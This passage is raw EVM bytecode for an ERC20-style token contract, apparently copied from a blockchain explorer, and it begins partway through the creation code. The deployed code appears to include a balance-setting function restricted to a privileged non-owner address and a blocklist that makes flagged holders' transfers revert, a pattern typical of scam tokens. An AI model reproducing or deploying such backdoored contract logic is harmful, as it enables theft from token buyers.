6000905061168e565b6000828461163a919061275a565b90508284826116499190612729565b14611689576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116809061256e565b60405180910390fd5b809150505b92915050565b60006116d683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f5d565b905092915050565b60008082846116ed91906126d3565b9050838110156116fc57600080fd5b8091505092915050565b6000611791826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115489092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182682600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ef790919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118c691906125ee565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561191157611910612a01565b5b60405190808252806020026020018201604052801561193f5781602001602082028036833780820191505090505b5090503081600081518110611957576119566129d2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119f957600080fd5b505afa158015611a0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a319190612097565b81600181518110611a4557611a446129d2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611aac30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f9a565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b10959493929190612609565b600060405180830381600087803b158015611b2a57600080fd5b505af1925050508015611b3b575060015b611b4457611b45565b5b60004790506000811115611bbd57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bbb573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611c1f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611548565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611caf57611ca86064611c9a600c548661161990919063ffffffff16565b61169490919063ffffffff16565b9050611d2d565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d2c57611d296064611d1b600d548661161990919063ffffffff16565b61169490919063ffffffff16565b90505b5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611dd657600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611dd557600080fd5b5b6000811115611eda57611e3181600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ef790919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ed191906125ee565b60405180910390a35b611eed8184611bdd90919063ffffffff16565b9150509392505050565b6000808284611f0691906126d3565b905083811015611f4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f429061254e565b60405180910390fd5b8091505092915050565b600033905090565b60008083118290611fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9b91906124ec565b60405180910390fd5b5060008385611fb39190612729565b9050809150509392505050565b600081359050611fcf81612c37565b92915050565b600081519050611fe481612c37565b92915050565b60008083601f84011261200057611fff612a35565b5b8235905067ffffffffffffffff81111561201d5761201c612a30565b5b60208301915083602082028301111561203957612038612a3a565b5b9250929050565b60008135905061204f81612c4e565b92915050565b60008135905061206481612c65565b92915050565b6000602082840312156120805761207f612a44565b5b600061208e84828501611fc0565b91505092915050565b6000602082840312156120ad576120ac612a44565b5b60006120bb84828501611fd5565b91505092915050565b600080604083850312156120db576120da612a44565b5b60006120e985828601611fc0565b92505060206120fa85828601611fc0565b9150509250929050565b60008060006060848603121561211d5761211c612a44565b5b600061212b86828701611fc0565b935050602061213c86828701611fc0565b925050604061214d86828701612055565b9150509250925092565b6000806040838503121561216e5761216d612a44565b5b600061217c85828601611fc0565b925050602061218d85828601612055565b9150509250929050565b6000806000604084860312156121b0576121af612a44565b5b60006121be86828701612040565b935050602084013567ffffffffffffffff8111156121df576121de612a3f565b5b6121eb86828701611fea565b92509250509250925092565b60006020828403121561220d5761220c612a44565b5b600061221b84828501612055565b91505092915050565b6000806040838503121561223b5761223a612a44565b5b600061224985828601612055565b925050602061225a85828601611fc0565b9150509250929050565b6000612270838361228b565b60208301905092915050565b612285816127fa565b82525050565b612294816127e8565b82525050565b6122a3816127e8565b82525050565b60006122b48261268e565b6122be81856126b1565b93506122c98361267e565b8060005b838110156122fa5781516122e18882612264565b97506122ec836126a4565b9250506001810190506122cd565b5085935050505092915050565b6123108161280c565b82525050565b61231f8161284f565b82525050565b61232e81612861565b82525050565b600061233f82612699565b61234981856126c2565b9350612359818560208601612897565b61236281612a49565b840191505092915050565b600061237a6023836126c2565b915061238582612a5a565b604082019050919050565b600061239d6022836126c2565b91506123a882612aa9565b604082019050919050565b60006123c0601b836126c2565b91506123cb82612af8565b602082019050919050565b60006123e36021836126c2565b91506123ee82612b21565b604082019050919050565b60006124066020836126c2565b915061241182612b70565b602082019050919050565b60006124296025836126c2565b915061243482612b99565b604082019050919050565b600061244c6024836126c2565b915061245782612be8565b604082019050919050565b61246b81612838565b82525050565b61247a81612842565b82525050565b6000602082019050612495600083018461229a565b92915050565b60006020820190506124b0600083018461227c565b92915050565b60006020820190506124cb6000830184612307565b92915050565b60006020820190506124e66000830184612316565b92915050565b600060208201905081810360008301526125068184612334565b905092915050565b600060208201905081810360008301526125278161236d565b9050919050565b6000602082019050818103600083015261254781612390565b9050919050565b60006020820190508181036000830152612567816123b3565b9050919050565b60006020820190508181036000830152612587816123d6565b9050919050565b600060208201905081810360008301526125a7816123f9565b9050919050565b600060208201905081810360008301526125c78161241c565b9050919050565b600060208201905081810360008301526125e78161243f565b9050919050565b60006020820190506126036000830184612462565b92915050565b600060a08201905061261e6000830188612462565b61262b6020830187612325565b818103604083015261263d81866122a9565b905061264c606083018561229a565b6126596080830184612462565b9695505050505050565b60006020820190506126786000830184612471565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126de82612838565b91506126e983612838565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561271e5761271d612945565b5b828201905092915050565b600061273482612838565b915061273f83612838565b92508261274f5761274e612974565b5b828204905092915050565b600061276582612838565b915061277083612838565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127a9576127a8612945565b5b828202905092915050565b60006127bf82612838565b91506127ca83612838565b9250828210156127dd576127dc612945565b5b828203905092915050565b60006127f382612818565b9050919050565b600061280582612818565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061285a82612873565b9050919050565b600061286c82612838565b9050919050565b600061287e82612885565b9050919050565b600061289082612818565b9050919050565b60005b838110156128b557808201518184015260208101905061289a565b838111156128c4576000848401525b50505050565b600060028204905060018216806128e257607f821691505b602082108114156128f6576128f56129a3565b5b50919050565b600061290782612838565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561293a57612939612945565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612c40816127e8565b8114612c4b57600080fd5b50565b612c578161280c565b8114612c6257600080fd5b50565b612c6e81612838565b8114612c7957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c101e410cbe6a9b10305cb87eef1572598a230d834967bc335e16be7a3d4005664736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80638b4cee08116100ec578063c5d241891161008a578063dd62ed3e11610064578063dd62ed3e14610645578063f0cd1dac14610682578063f24293c8146106ad578063f2fde38b146106d8576101c2565b8063c5d24189146105c4578063c816841b146105ef578063c86079521461061a576101c2565b8063a08e671f116100c6578063a08e671f146104f6578063a9059cbb14610521578063b98115ff1461055e578063bc4fad851461059b576101c2565b80638b4cee08146104775780638da5cb5b146104a057806395d89b41146104cb576101c2565b806327c8f83511610159578063429f2b6011610133578063429f2b60146103bb57806361a23c69146103e457806370a082311461040f57806382eefb431461044c576101c2565b806327c8f83514610328578063313ce567146103535780633345611e1461037e576101c2565b80631694505e116101955780631694505e1461025857806318160ddd146102835780631b491677146102ae57806323b872dd146102eb576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630cc835a31461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e991906124ec565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190612157565b610793565b60405161022691906124b6565b60405180910390f35b34801561023b57600080fd5b50610256600480360381019061025191906121f7565b6107b1565b005b34801561026457600080fd5b5061026d610859565b60405161027a91906124d1565b60405180910390f35b34801561028f57600080fd5b5061029861087f565b6040516102a591906125ee565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d0919061206a565b610889565b6040516102e291906124b6565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d9190612104565b6108a9565b60405161031f91906124b6565b60405180910390f35b34801561033457600080fd5b5061033d610983565b60405161034a9190612480565b60405180910390f35b34801561035f57600080fd5b506103686109a7565b6040516103759190612663565b60405180910390f35b34801561038a57600080fd5b506103a560048036038101906103a0919061206a565b6109be565b6040516103b291906124b6565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612224565b6109de565b005b3480156103f057600080fd5b506103f9610aaa565b60405161040691906125ee565b60405180910390f35b34801561041b57600080fd5b506104366004803603810190610431919061206a565b610ab0565b60405161044391906125ee565b60405180910390f35b34801561045857600080fd5b50610461610af9565b60405161046e91906125ee565b60405180910390f35b34801561048357600080fd5b5061049e600480360381019061049991906121f7565b610aff565b005b3480156104ac57600080fd5b506104b5610ba7565b6040516104c29190612480565b60405180910390f35b3480156104d757600080fd5b506104e0610bd0565b6040516104ed91906124ec565b60405180910390f35b34801561050257600080fd5b5061050b610c62565b60405161051891906125ee565b60405180910390f35b34801561052d57600080fd5b5061054860048036038101906105439190612157565b610c68565b60405161055591906124b6565b60405180910390f35b34801561056a57600080fd5b506105856004803603810190610580919061206a565b610c87565b60405161059291906124b6565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190612197565b610ca7565b005b3480156105d057600080fd5b506105d9610d5b565b6040516105e691906125ee565b60405180910390f35b3480156105fb57600080fd5b50610604610d61565b6040516106119190612480565b60405180910390f35b34801561062657600080fd5b5061062f610d87565b60405161063c91906125ee565b60405180910390f35b34801561065157600080fd5b5061066c600480360381019061066791906120c4565b610d8d565b60405161067991906125ee565b60405180910390f35b34801561068e57600080fd5b50610697610e14565b6040516106a491906125ee565b60405180910390f35b3480156106b957600080fd5b506106c2610e1a565b6040516106cf919061249b565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa919061206a565b610e40565b005b606060018054610710906128ca565b80601f016020809104026020016040519081016040528092919081815260200182805461073c906128ca565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b60006107a76107a0610f92565b8484610f9a565b6001905092915050565b6107b9610f92565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d9061258e565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60006108b6848484611165565b50610978846108c3610f92565b61097385604051806060016040528060288152602001612c7d60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610929610f92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115489092919063ffffffff16565b610f9a565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b6109eb60008310156115ac565b610a63600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a556002610a4786600261161990919063ffffffff16565b61169490919063ffffffff16565b6116de90919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d5481565b610b07610f92565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b9061258e565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610bdf906128ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0b906128ca565b8015610c585780601f10610c2d57610100808354040283529160200191610c58565b820191906000526020600020905b815481529060010190602001808311610c3b57829003601f168201915b5050505050905090565b600e5481565b6000610c7c610c75610f92565b8484611165565b506001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b610cb6600083839050116115ac565b60005b82829050811015610d55578360086000858585818110610cdc57610cdb6129d2565b5b9050602002016020810190610cf1919061206a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d4d906128fc565b915050610cb9565b50505050565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e48610f92565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecc9061258e565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561100a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611001906125ce565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561107a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110719061252e565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161115891906125ee565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cd906125ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d9061250e565b60405180910390fd5b601160149054906101000a900460ff161561126d57611266848484611706565b9050611541565b600061127830610ab0565b9050601160149054906101000a900460ff161580156112e15750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112f0576112ef816118d9565b5b61134283600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdd90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114285750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61143c57611437868686611c27565b61143e565b835b905061149281600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ef790919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161153291906125ee565b60405180910390a36001925050505b9392505050565b6000838311158290611590576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158791906124ec565b60405180910390fd5b506000838561159f91906127b4565b9050809150509392505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115ed611f55565b73ffffffffffffffffffffffffffffffffffffffff1614801561160d5750805b61161657600080fd5b50565b60008083141561162c576000905061168e565b6000828461163a919061275a565b90508284826116499190612729565b14611689576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116809061256e565b60405180910390fd5b809150505b92915050565b60006116d683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f5d565b905092915050565b60008082846116ed91906126d3565b9050838110156116fc57600080fd5b8091505092915050565b6000611791826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115489092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182682600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ef790919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118c691906125ee565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561191157611910612a01565b5b60405190808252806020026020018201604052801561193f5781602001602082028036833780820191505090505b5090503081600081518110611957576119566129d2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119f957600080fd5b505afa158015611a0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a319190612097565b81600181518110611a4557611a446129d2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611aac30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f9a565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b10959493929190612609565b600060405180830381600087803b158015611b2a57600080fd5b505af1925050508015611b3b575060015b611b4457611b45565b5b60004790506000811115611bbd57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bbb573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611c1f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611548565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611caf57611ca86064611c9a600c548661161990919063ffffffff16565b61169490919063ffffffff16565b9050611d2d565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d2c57611d296064611d1b600d548661161990919063ffffffff16565b61169490919063ffffffff16565b90505b5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611dd657600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611dd557600080fd5b5b6000811115611eda57611e3181600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ef790919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ed191906125ee565b60405180910390a35b611eed8184611bdd90919063ffffffff16565b9150509392505050565b6000808284611f0691906126d3565b905083811015611f4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f429061254e565b60405180910390fd5b8091505092915050565b600033905090565b60008083118290611fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9b91906124ec565b60405180910390fd5b5060008385611fb39190612729565b9050809150509392505050565b600081359050611fcf81612c37565b92915050565b600081519050611fe481612c37565b92915050565b60008083601f84011261200057611fff612a35565b5b8235905067ffffffffffffffff81111561201d5761201c612a30565b5b60208301915083602082028301111561203957612038612a3a565b5b9250929050565b60008135905061204f81612c4e565b92915050565b60008135905061206481612c65565b92915050565b6000602082840312156120805761207f612a44565b5b600061208e84828501611fc0565b91505092915050565b6000602082840312156120ad576120ac612a44565b5b60006120bb84828501611fd5565b91505092915050565b600080604083850312156120db576120da612a44565b5b60006120e985828601611fc0565b92505060206120fa85828601611fc0565b9150509250929050565b60008060006060848603121561211d5761211c612a44565b5b600061212b86828701611fc0565b935050602061213c86828701611fc0565b925050604061214d86828701612055565b9150509250925092565b6000806040838503121561216e5761216d612a44565b5b600061217c85828601611fc0565b925050602061218d85828601612055565b9150509250929050565b6000806000604084860312156121b0576121af612a44565b5b60006121be86828701612040565b935050602084013567ffffffffffffffff8111156121df576121de612a3f565b5b6121eb86828701611fea565b92509250509250925092565b60006020828403121561220d5761220c612a44565b5b600061221b84828501612055565b91505092915050565b6000806040838503121561223b5761223a612a44565b5b600061224985828601612055565b925050602061225a85828601611fc0565b9150509250929050565b6000612270838361228b565b60208301905092915050565b612285816127fa565b82525050565b612294816127e8565b82525050565b6122a3816127e8565b82525050565b60006122b48261268e565b6122be81856126b1565b93506122c98361267e565b8060005b838110156122fa5781516122e18882612264565b97506122ec836126a4565b9250506001810190506122cd565b5085935050505092915050565b6123108161280c565b82525050565b61231f8161284f565b82525050565b61232e81612861565b82525050565b600061233f82612699565b61234981856126c2565b9350612359818560208601612897565b61236281612a49565b840191505092915050565b600061237a6023836126c2565b915061238582612a5a565b604082019050919050565b600061239d6022836126c2565b91506123a882612aa9565b604082019050919050565b60006123c0601b836126c2565b91506123cb82612af8565b602082019050919050565b60006123e36021836126c2565b91506123ee82612b21565b604082019050919050565b60006124066020836126c2565b915061241182612b70565b602082019050919050565b60006124296025836126c2565b915061243482612b99565b604082019050919050565b600061244c6024836126c2565b915061245782612be8565b604082019050919050565b61246b81612838565b82525050565b61247a81612842565b82525050565b6000602082019050612495600083018461229a565b92915050565b60006020820190506124b0600083018461227c565b92915050565b60006020820190506124cb6000830184612307565b92915050565b60006020820190506124e66000830184612316565b92915050565b600060208201905081810360008301526125068184612334565b905092915050565b600060208201905081810360008301526125278161236d565b9050919050565b6000602082019050818103600083015261254781612390565b9050919050565b60006020820190508181036000830152612567816123b3565b9050919050565b60006020820190508181036000830152612587816123d6565b9050919050565b600060208201905081810360008301526125a7816123f9565b9050919050565b600060208201905081810360008301526125c78161241c565b9050919050565b600060208201905081810360008301526125e78161243f565b9050919050565b60006020820190506126036000830184612462565b92915050565b600060a08201905061261e6000830188612462565b61262b6020830187612325565b818103604083015261263d81866122a9565b905061264c606083018561229a565b6126596080830184612462565b9695505050505050565b60006020820190506126786000830184612471565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126de82612838565b91506126e983612838565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561271e5761271d612945565b5b828201905092915050565b600061273482612838565b915061273f83612838565b92508261274f5761274e612974565b5b828204905092915050565b600061276582612838565b915061277083612838565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127a9576127a8612945565b5b828202905092915050565b60006127bf82612838565b91506127ca83612838565b9250828210156127dd576127dc612945565b5b828203905092915050565b60006127f382612818565b9050919050565b600061280582612818565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061285a82612873565b9050919050565b600061286c82612838565b9050919050565b600061287e82612885565b9050919050565b600061289082612818565b9050919050565b60005b838110156128b557808201518184015260208101905061289a565b838111156128c4576000848401525b50505050565b600060028204905060018216806128e257607f821691505b602082108114156128f6576128f56129a3565b5b50919050565b600061290782612838565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561293a57612939612945565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250